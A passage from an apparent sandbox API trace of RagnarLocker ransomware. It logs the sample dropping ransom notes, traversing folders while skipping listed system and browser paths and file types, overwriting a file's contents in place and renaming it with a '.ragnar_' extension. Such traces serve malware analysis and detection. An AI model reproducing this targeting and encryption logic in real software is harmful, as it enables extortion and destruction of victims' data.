Tag\\RGNR_FD7BD9FC.txt" [0067.946] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0067.950] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*" [0067.950] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0067.950] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.950] lstrcpyW (in: lpString1=0x1eb226, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0067.951] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0067.951] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.951] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0067.951] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0067.951] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.951] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0067.951] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0067.951] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0067.951] lstrcpyW (in: lpString1=0x1eb63a, lpString2="1033" | out: lpString1="1033") returned="1033" [0067.951] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" [0067.951] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" [0067.951] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\RGNR_FD7BD9FC.txt" [0067.951] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0067.954] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*" [0067.954] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0067.954] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.954] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0067.955] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.955] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0067.955] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0067.955] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2=".") returned 1 [0067.955] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="..") returned 1 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abf03c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0067.955] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0067.955] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0067.955] lstrcmpiW (lpString1="STINTL.DLL", lpString2=".") returned 1 [0067.955] lstrcmpiW (lpString1="STINTL.DLL", lpString2="..") returned 1 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0067.955] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2=".") returned 1 [0067.955] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="..") returned 1 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0067.955] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0067.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.955] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0067.955] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0067.956] lstrcpyW (in: lpString1=0x1eab6c, lpString2="MCABOUT.HTM" | out: lpString1="MCABOUT.HTM") returned="MCABOUT.HTM" [0067.956] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned=".HTM" [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="autorun.inf") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="boot.ini") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="bootfont.bin") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="bootsect.bak") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="bootmgr") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="bootmgr.efi") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="bootmgfw.efi") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="desktop.ini") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="iconcache.db") returned 1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="ntldr") returned -1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="ntuser.dat") returned -1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="ntuser.dat.log") returned -1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="ntuser.ini") returned -1 [0067.956] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="thumbs.db") returned -1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".db") returned 1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".sys") returned -1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".dll") returned 1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".lnk") returned -1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".msi") returned -1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".drv") returned 1 [0067.956] lstrcmpiW (lpString1=".HTM", lpString2=".exe") returned 1 [0067.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0067.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0067.956] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=11463) returned 1 [0067.956] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2cbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.957] GetProcessHeap () returned 0x580000 [0067.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0067.957] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0067.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2cc7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0067.958] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.959] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0067.959] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2cc7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2cc7, lpOverlapped=0x0) returned 1 [0067.959] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0067.960] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cc7, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.960] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2cc7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2cc7, lpOverlapped=0x0) returned 1 [0067.960] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cc7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.960] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.960] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2cc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.960] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.960] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0067.960] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0067.960] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0067.960] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.960] GetProcessHeap () returned 0x580000 [0067.960] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.961] CloseHandle (hObject=0x100) returned 1 [0067.961] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" [0067.961] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.ragnar_FD7BD9FC" [0067.961] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abf03c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0067.964] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0067.964] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0067.964] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0067.964] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0067.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0067.964] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0067.964] lstrcpyW (in: lpString1=0x1eab6c, lpString2="STINTL.DLL" | out: lpString1="STINTL.DLL") returned="STINTL.DLL" [0067.964] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned=".DLL" [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="autorun.inf") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="boot.ini") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="bootfont.bin") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="bootsect.bak") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="bootmgr") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="bootmgr.efi") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="bootmgfw.efi") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="desktop.ini") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="iconcache.db") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="ntldr") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="ntuser.dat") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="ntuser.dat.log") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="ntuser.ini") returned 1 [0067.964] lstrcmpiW (lpString1="STINTL.DLL", lpString2="thumbs.db") returned -1 [0067.964] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0067.964] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0067.965] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0067.965] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0067.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", nBufferLength=0x104, 